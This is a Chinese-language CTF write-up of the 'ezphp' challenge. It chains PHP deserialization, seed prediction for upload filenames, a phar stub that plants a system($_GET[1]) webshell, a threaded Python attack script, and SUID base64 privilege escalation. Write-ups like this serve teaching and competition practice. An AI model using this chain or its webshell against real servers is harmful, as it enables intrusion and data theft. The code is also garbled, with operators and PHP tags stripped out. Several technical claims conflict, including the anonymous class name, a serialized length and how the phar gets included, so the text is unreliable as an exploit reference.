
1. 项目概述从一道CTF赛题看PHP反序列化与条件竞争的实战攻防最近复盘了强网杯的一道Web题目“ezphp”这道题可以说是近年来CTF赛场上将PHP反序列化漏洞与条件竞争Race Condition利用结合得相当精妙的一道题。它不像那些简单的“unserialize($_GET[‘a’])”直接RCE的送分题而是需要你深入理解PHP内部机制、匿名类处理、随机数种子预测以及文件上传时序竞争等多个知识点才能最终拿到服务器权限。整个过程就像在解一个环环相扣的谜题每一步都需要精准的操作和对底层原理的深刻把握。这篇文章我就以一个实战参与者的视角带你完整复盘这道题的解题思路、踩过的坑以及最终拿下服务器的全过程。无论你是CTF新手想学习进阶技巧还是安全从业者想了解复杂的漏洞利用链相信都能从中获得启发。2. 核心漏洞原理与代码审计2.1 题目入口与代码结构分析拿到题目首先是一个简单的PHP文件核心代码被base64编码后放在eval()中执行。解码后我们能看到完整的逻辑。代码定义了一个test类其__destruct魔术方法是整个漏洞利用的起点。通过GET参数land传入序列化字符串程序会进行反序列化。如果land参数为空则默认反序列化一个属性数量为N即0的test对象。这里第一个需要注意的点是题目使用了unserialize()错误被抑制这为我们后续构造“有问题”的序列化字符串提供了便利不会因为报错而中断执行。test类的结构是解题的关键$readflag一个指向匿名类实例的属性。$f一个可被动态调用的函数或类名。$key一个控制执行流的开关。在__destruct中逻辑如下将$this-readflag赋值给全局变量$GLOBALS[‘filename’]然后根据$this-key的值执行不同分支。若key为‘class’则new $func()若为‘func’则$func()否则高亮显示index.php源码。这里的$func来自$this-f。所以我们的目标很明确控制$f和$key来执行我们想要的代码。2.2 匿名类的奥秘与利用难点题目最大的难点在于那个嵌套在test类构造函数里的匿名类。这个匿名类有三个方法__construct: 当匿名类被实例化时触发。它处理文件上传清空uploads/目录根据时间戳和传入的$GLOBALS[‘filename’]计算种子seed用mt_srand设定随机数生成器然后生成一个8位随机字符串作为文件名最后用system(“cp …”)命令移动上传的文件。__wakeup: 当反序列化触发__wakeup时直接调用phpinfo()。这看起来像是一个干扰项或非预期解。readflag: 这是我们最终的目标函数。它会检查全局变量$file读取对应文件内容进行简单的WAF检查防止包含?、://、ph、?等然后通过include包含该文件。我们的核心挑战变成了如何调用到这个匿名类的readflag方法因为只有调用它并传入一个精心构造的文件名我们才能实现文件包含进而执行任意代码。在PHP中匿名类在内部有一个特殊的、唯一的类名格式通常为classanonymous文件路径$序列号。在eval()代码块中创建的匿名类其名称会更特殊包含eval()’d code的路径信息。通过本地测试我们可以确定在这个题目环境中匿名类的名称类似于classanonymous/var/www/html/index.php(1) : eval()’d code:1$0。其中\0是匿名类类名的一部分在序列化字符串中需要转义为\0$0表示这是该匿名类在当次请求中的第一个实例。因此要调用readflag方法我们需要构造一个数组作为可调用对象array(“匿名类名”, “readflag”)。将其赋值给$this-f并设置$this-key ‘func’这样在__destruct中就会以$func()的形式调用从而执行readflag。2.3 漏洞利用链的初步构想梳理一下我们需要完成以下几步触发文件上传我们需要让匿名类的__construct执行从而触发文件上传逻辑。这可以通过反序列化一个test对象并将其$key设置为‘class’$f设置为‘test’来实现。这样会new test()再次触发test类的__construct从而实例化内部的匿名类。预测上传文件名匿名类__construct中的文件名生成依赖于当前时间date(‘Hi’)和$GLOBALS[‘filename’]即前一个test对象的$readflag属性。我们需要控制$readflag为一个数字使得mt_srand($seed)后的rand()函数能生成一个以phar开头的8位字符串。因为我们的最终payload是一个phar文件需要其扩展名为.phar或.phar.gz等但WAF可能检查扩展名。不过如果文件名本身以phar开头在配合phar://协议流包装器进行文件包含时就有可能触发phar反序列化或直接执行其中的PHP代码。调用readflag进行文件包含在文件成功上传且文件名已知后我们需要调用匿名类的readflag方法来包含这个文件。这需要另一个test对象其$f为数组array(“匿名类名”, “readflag”)$key为‘func’。这里存在一个明显的条件竞争步骤1和步骤3是两次独立的反序列化操作。我们需要保证在步骤3执行readflag进行文件包含时步骤1生成的文件已经成功存在于uploads/目录中。由于Web请求的无状态性我们通常需要在一个请求中完成这两件事或者通过极快速的两个请求来“竞态”成功。3. 利用链的精细构造与绕过3.1 构造稳定的反序列化Payload首先我们需要构造两个test对象。注意题目中的匿名类定义在test的__construct里。如果我们直接序列化一个包含匿名类实例的test对象这个匿名类对象也会被序列化。但在PHP 7中匿名类的序列化可能存在问题特别是当匿名类中包含了复杂的操作如文件操作、依赖全局变量等。更稳妥的做法是我们构造一个“干净”的test对象其__construct不被执行或者我们手动置空只保留我们需要的属性结构。因此我们创建两个test对象对象A (用于触发上传):$a new test(); $a-readflag $seed_number; // 用于预测文件名的种子数字 $a-f ‘test’; // 触发 new test()从而执行test类的__construct $a-key ‘class’;序列化后我们需要确保test类的属性数量是3s:8:”readflag”s:1:”f”s:3:”key”否则反序列化时__wakeup如果存在可能不会执行或者引发其他问题。在本例中__wakeup在匿名类里不影响test对象本身。对象B (用于调用readflag):$b new test(); $b-readflag null; // 这里不重要可以设为null $b-f array(“\0classanonymous/var/www/html/index.php(1) : eval()’d code:1$1”, “readflag”); $b-key ‘func’;注意匿名类名中的\0在序列化字符串中需要正确表示。通常在双引号字符串中\0会被解释为空字符所以我们需要转义。在生成的序列化字符串中它会显示为\0。然后我们需要将这两个对象放在一个数组里一次性传给land参数进行反序列化。这样能最大程度保证两个对象的__destruct在同一个请求上下文中顺序执行减少竞态的不确定性。最终的land参数值类似于a:2:{i:0;O:4:”test”:3:{…}i:1;O:4:”test”:3:{…}}。3.2 预测随机文件名控制mt_srand的种子这是本题最考验耐心和技巧的部分。匿名类__construct中的文件名生成逻辑如下$time date(‘Hi’); // 当前时间的时分如1430 $filename $GLOBALS[‘filename’]; // 来自第一个test对象的$readflag $seed $time . intval($filename); mt_srand($seed); $randomStr generateRandomString(8); // 调用rand()生成8位小写字母 $newFilename $time . ‘.’ . $randomStr . ‘.’ . ‘jpg’;generateRandomString函数使用的是rand()函数而非mt_rand()。但关键在于mt_srand()不仅为mt_rand()设定种子也会影响rand()的序列在某些环境下尤其是当mt_srand()调用后rand()的行为会被重置或影响。更保险的做法是我们同时用mt_srand()和srand()设定种子然后调用rand()。我们的目标是找到一个整数$filename使得当$seed date(‘Hi’) . $filename时generateRandomString(8)函数返回的字符串前四个字符是phar。这样最终的文件名会是1430.pharxxxx.jpg的形式。当我们用phar://协议去包含这个文件时phar扩展会解析该文件无论其后缀是什么。注意这里存在一个时间窗口问题。date(‘Hi’)精确到分钟。这意味着我们的攻击脚本必须在同一分钟内完成种子计算、Payload构造和发送。如果跨分钟$time变化之前计算的种子就失效了。因此我们需要编写一个爆破脚本在本地模拟相同的环境相同的PHP版本因为rand()的实现可能略有差异针对当前分钟的$time暴力枚举$filename直到找到一个能产生phar前缀的种子。脚本的大致逻辑如下$currentTime date(‘Hi’); for ($i 0; $i 10000000; $i) { $seed $currentTime . $i; mt_srand((int)$seed); srand((int)$seed); // 双重保险 $randomStr generateRandomString(8); if (substr($randomStr, 0, 4) ‘phar’) { echo “Found seed: “ . $seed . “, filename: “ . $i . “, randomStr: “ . $randomStr; break; } }在实际操作中可能需要尝试几万甚至几十万次才能找到符合条件的种子。一旦找到这个$i就是我们要赋值给第一个test对象$readflag属性的值。3.3 制作Phar恶意文件我们的目标是上传一个文件当被include时能够执行任意代码。直接上传.php文件肯定会被WAF拦截题目中readflag方法有内容检查。这里我们利用Phar反序列化或者更直接地利用Phar的stub作为可执行代码的特性。PharPHP Archive文件有一种称为“stub”的部分它是一段PHP代码当Phar文件通过phar://协议被包含时这段代码会被执行。我们可以创建一个Phar文件其stub包含我们想要的恶意代码例如写入一个Webshell。构造Phar文件的脚本如下?php $phar new Phar(‘exploit.phar’); $phar-startBuffering(); $stub ‘STUB’ ?php system(‘echo “?php system($_GET[1]); ?” /var/www/html/uploads/shell.php’); __HALT_COMPILER(); ? STUB; $phar-setStub($stub); $phar-addFromString(‘test.txt’, ‘test’); // 添加一个文件以满足Phar格式 $phar-stopBuffering(); ?执行后生成exploit.phar。但是如果直接上传.phar文件可能会被文件类型检查或后缀名检查拦截。因此我们可以将其进行gzip压缩得到exploit.phar.gz然后重命名为1.gz。在Linux系统下即使被解压或识别其内容依然是有效的Phar文件phar://流包装器可以识别并解压执行其中的stub代码。3.4 整合利用发送最终Payload现在我们有了所有“零件”预测好的种子数字$seed_number。构造好的包含两个test对象的序列化字符串$payload。制作好的恶意Phar文件1.gz。我们需要在一个HTTP请求中完成所有操作。使用Python的requests库可以方便地实现import requests target_url ‘http://target.com/‘ seed ‘104206’ # 假设爆破得到的种子数字 # 构造对象A和B的序列化字符串 (此处为示意实际字符串很长) serial_a f’O:4:”test”:3:{{s:8:”readflag”;s:{len(seed)}:”{seed}”;s:1:”f”;s:4:”test”;s:3:”key”;s:5:”class”;}}’ serial_b f’O:4:”test”:3:{{s:8:”readflag”;N;s:1:”f”;s:55:”\0readflag/var/www/html/index.php(1) : eval()\’d code:1$1″;s:3:”key”;s:4:”func”;}}’ # 将两个对象放入数组 land_payload f’a:2:{{i:0;{serial_a}i:1;{serial_b}}}’ files {‘file’: (‘1.png’, open(‘1.gz’, ‘rb’), ‘image/png’)} # 可能的话伪装Content-Type params {‘land’: land_payload} response requests.post(target_url, paramsparams, filesfiles) print(response.text)这个请求会反序列化land参数触发两个test对象的__destruct。对象A的__destruct设置$GLOBALS[‘filename’]为种子数字然后new test()触发匿名类__construct进行文件上传和重命名。由于我们控制了种子生成的文件名会是当前时间.pharxxxx.jpg。几乎同时对象B的__destruct调用匿名类的readflag方法。此时$GLOBALS[‘file’]已经被匿名类__construct设置为新生成的文件名如1430.pharabcd.jpg。readflag方法读取uploads/1430.pharabcd.jpg虽然后缀是.jpg但当我们用include包含它时PHP会将其作为普通文件包含。但是如果我们能让包含路径变成phar://uploads/1430.pharabcd.jpgPhar扩展就会介入。然而题目中的include路径是硬编码的”uploads/” . $file没有协议头。这里的关键在于Phar流包装器在某些配置下即使没有phar://前缀只要文件内容以?php等Phar标识开头也可能被识别不这里需要更仔细的审视。重新看readflag方法$file_content file_get_contents(“uploads/” . $file); if (preg_match(‘/\?|\:\/\/|ph|\?\/i’, $file_content)) { die(“Illegal content detected in the file.”); } include(“uploads/” . $file);它先读取文件内容检查是否有PHP标签等。如果我们的Phar文件是二进制的gzip压缩后更是其文件内容开头不是?php大概率能绕过这个检查。然后直接include这个文件。对于一个原生的Phar文件未压缩其文件头包含__HALT_COMPILER();等标识当被include时PHP会识别出这是Phar文件并执行其stub。对于gzip压缩的Phar文件.phar.gzPHP的Phar扩展同样支持只要phar扩展的phar.readonly设置为Off并且zlib扩展已启用。因此我们的利用链是成立的上传一个gzip压缩的Phar文件它被重命名为时间.pharxxxx.jpg。在include时Phar扩展识别出这是一个Phar归档尽管后缀是.jpg并执行其stub中的代码——也就是我们写入Webshell的命令。4. 实战操作、问题排查与权限提升4.1 实操步骤与脚本编写在实际操作中我们需要将上述步骤自动化并处理时间窗口问题。一个完整的攻击脚本应该包含以下部分时间同步与种子预测在攻击开始前获取目标服务器的时间可以通过HTTP头Date或简单请求一个返回时间的接口。然后在本地使用相同的时区Asia/Shanghai和算法爆破出接下来一分钟内可能有效的种子数字。由于网络延迟和计算时间最好预测当前分钟和下一分钟的种子。动态生成Payload根据预测的种子动态生成对象A的序列化字符串。发送攻击请求使用多线程或异步请求在预测的时间窗口内同一分钟内发送携带正确种子和Phar文件的Payload。验证与交互如果攻击成功Phar stub中的代码会在uploads/目录下写入一个Webshell例如shell.php。随后我们可以访问这个Webshell执行命令。一个加强版的攻击脚本框架如下import requests import time from concurrent.futures import ThreadPoolExecutor import sys def predict_seed(target_time_str): “”“模拟PHP代码预测生成‘phar’前缀的种子”“” # … 此处是上述的PHP爆破脚本的Python移植版 … # 返回 (seed_number, expected_random_string_prefix) pass def build_payload(seed_number): “”“根据种子数字构造完整的land参数”“” # 构造序列化字符串a和b # 注意转义问题 serial_a … serial_b … return f’a:2:{{i:0;{serial_a}i:1;{serial_b}}}’ def attack(target_url, land_payload, phar_file_path): files {‘file’: (‘1.png’, open(phar_file_path, ‘rb’), ‘image/png’)} params {‘land’: land_payload} try: resp requests.post(target_url, paramsparams, filesfiles, timeout5) return resp.text except Exception as e: return str(e) def main(): target_url sys.argv[1] phar_file ‘1.gz’ # 1. 获取/估算目标服务器时间 (简化处理假设与本地时间同步) server_time_minute time.strftime(‘%H%M’) print(f”[*] Assuming server minute: {server_time_minute}”) # 2. 预测种子 seed_num, random_prefix predict_seed(server_time_minute) if not seed_num: print(“[-] Failed to predict seed for this minute. Trying next minute…”) # 可以尝试下一分钟 return print(f”[] Predicted seed: {seed_num}, expected file prefix: {random_prefix}”) # 3. 构建Payload payload build_payload(seed_num) print(“[*] Payload built.”) # 4. 发起攻击 (可多线程发送几次增加竞态成功率) with ThreadPoolExecutor(max_workers5) as executor: futures [executor.submit(attack, target_url, payload, phar_file) for _ in range(5)] for future in futures: print(future.result()[:200]) # 打印部分响应 # 5. 尝试访问可能写入的Webshell # 文件名预测 server_time_minute ‘.’ random_prefix ‘.jpg’ # 但Webshell是Phar stub写入的位置固定例如 /uploads/shell.php webshell_url target_url.rstrip(‘/’) ‘/uploads/shell.php’ check_resp requests.get(webshell_url, params{‘1’: ‘id’}) if ‘uid’ in check_resp.text: print(f”[!!!] Success! Webshell at: {webshell_url}“) else: print(“[-] Webshell not found or not executed.”) if __name__ ‘__main__’: main()4.2 常见问题与排查技巧在实际操作中你可能会遇到各种问题。以下是一些常见坑点及解决方案反序列化失败页面空白或报错检查属性数量确保序列化字符串中对象的属性数量与实际类属性数量一致。例如O:4:”test”:3:{…}中的3必须正确。检查匿名类名匿名类名中的空字符\0和单引号’需要正确转义。在Python字符串中可以使用\x00表示空字符并对单引号进行转义\’。最好通过本地PHP脚本生成确切的序列化字符串再复制到攻击脚本中。使用抑制错误题目使用了unserialize但如果你构造的Payload格式根本错误PHP还是会解析失败。使用在线的PHP反序列化工具或本地环境验证你的Payload。文件上传了但无法包含/执行检查文件权限uploads/目录是否有写权限上传后的文件是否真的存在可以在Phar的stub里添加file_put_contents(‘/tmp/debug.log’, ‘executed\n’, FILE_APPEND);来验证stub是否执行。Phar扩展配置目标服务器可能禁用了Phar扩展phar.readonly On或者不支持phar://协议。这种情况下Phar文件不会被解析。可以尝试其他协议如zip://或phar://配合其他压缩格式但本题的包含路径固定此路不通。此时需要回归到利用文件包含直接执行代码但WAF又过滤了内容。这就需要更巧妙的绕过例如使用短标签、script language”php”等但本题WAF似乎也过滤了ph和?。如果Phar不行可能需要寻找其他入口。竞态条件失败对象B的readflag执行时对象A的文件上传和重命名操作可能还没完成。可以尝试在对象A的Payload中让$f指向一个会执行sleep(1)的类或函数人为延迟对象A的__destruct但这样也可能导致整体超时。更可靠的方法是发送大量并发请求利用概率取胜。种子预测失败时区问题确保爆破脚本和服务器使用相同的时区Asia/Shanghai。PHP版本差异不同PHP版本尤其是7.x各子版本的rand()和mt_srand()实现可能有细微差别导致生成的随机序列不同。最保险的方法是在与目标环境尽可能相同的Docker容器中运行爆破脚本。时间不同步服务器时间与本地时间可能有秒级甚至分钟级差异。可以在攻击前多次请求目标通过HTTP响应头的Date字段校准时间。拿到Webshell后无法读取flag这是另一个常见阶段。执行cat /flag或ls -la /发现没有权限。需要提权。查找SUID特权程序在Webshell中执行find / -user root -perm -4000 -print 2/dev/null查找所有属于root且设置了SUID位的可执行文件。在本题目中发现/usr/bin/base64具有SUID权限。这是一个经典的GTFOBins提权向量。我们可以利用它来读取受保护的文件base64 “/flag” | base64 –decode。因为base64以root权限运行它可以读取任何文件我们将flag内容用base64编码输出再在本地解码即可。4.3 从解题到渗透的思考这道题“ezphp”并不“ez”它综合了多个知识点PHP反序列化利用不仅仅是触发__destruct还需要理解如何调用匿名类的方法。内部类名与调用方式对PHP内部对象模型的深入理解。伪随机数预测通过控制种子来预测输出这是密码学和安全中常见的弱点。条件竞争Race Condition在一个请求内协调多个对象的销毁顺序和文件操作时序。Phar文件利用将Phar作为恶意代码载体绕过文件上传限制。Linux权限提升Privilege Escalation利用SUID程序进行横向移动。整个解题过程就像在完成一次小型的渗透测试信息收集代码审计、漏洞挖掘反序列化点、文件上传、文件包含、利用链构造串联多个弱点、武器化制作Phar、绕过防御预测文件名绕过命名规则、二进制内容绕过WAF、权限提升SUID提权。每一步都需要扎实的基础知识和灵活的思维。对于CTF选手而言这道题是一个很好的综合训练。对于安全工程师它提醒我们在代码审计时要特别注意魔术方法的滥用、文件操作与全局变量的交互、随机数的不当使用以及用户输入如何影响程序的关键逻辑路径。在防御层面除了过滤反序列化输入、禁用危险函数如system、设置合适的文件权限外还需要注意业务逻辑上的竞态条件以及对Phar等特殊文件格式的处理。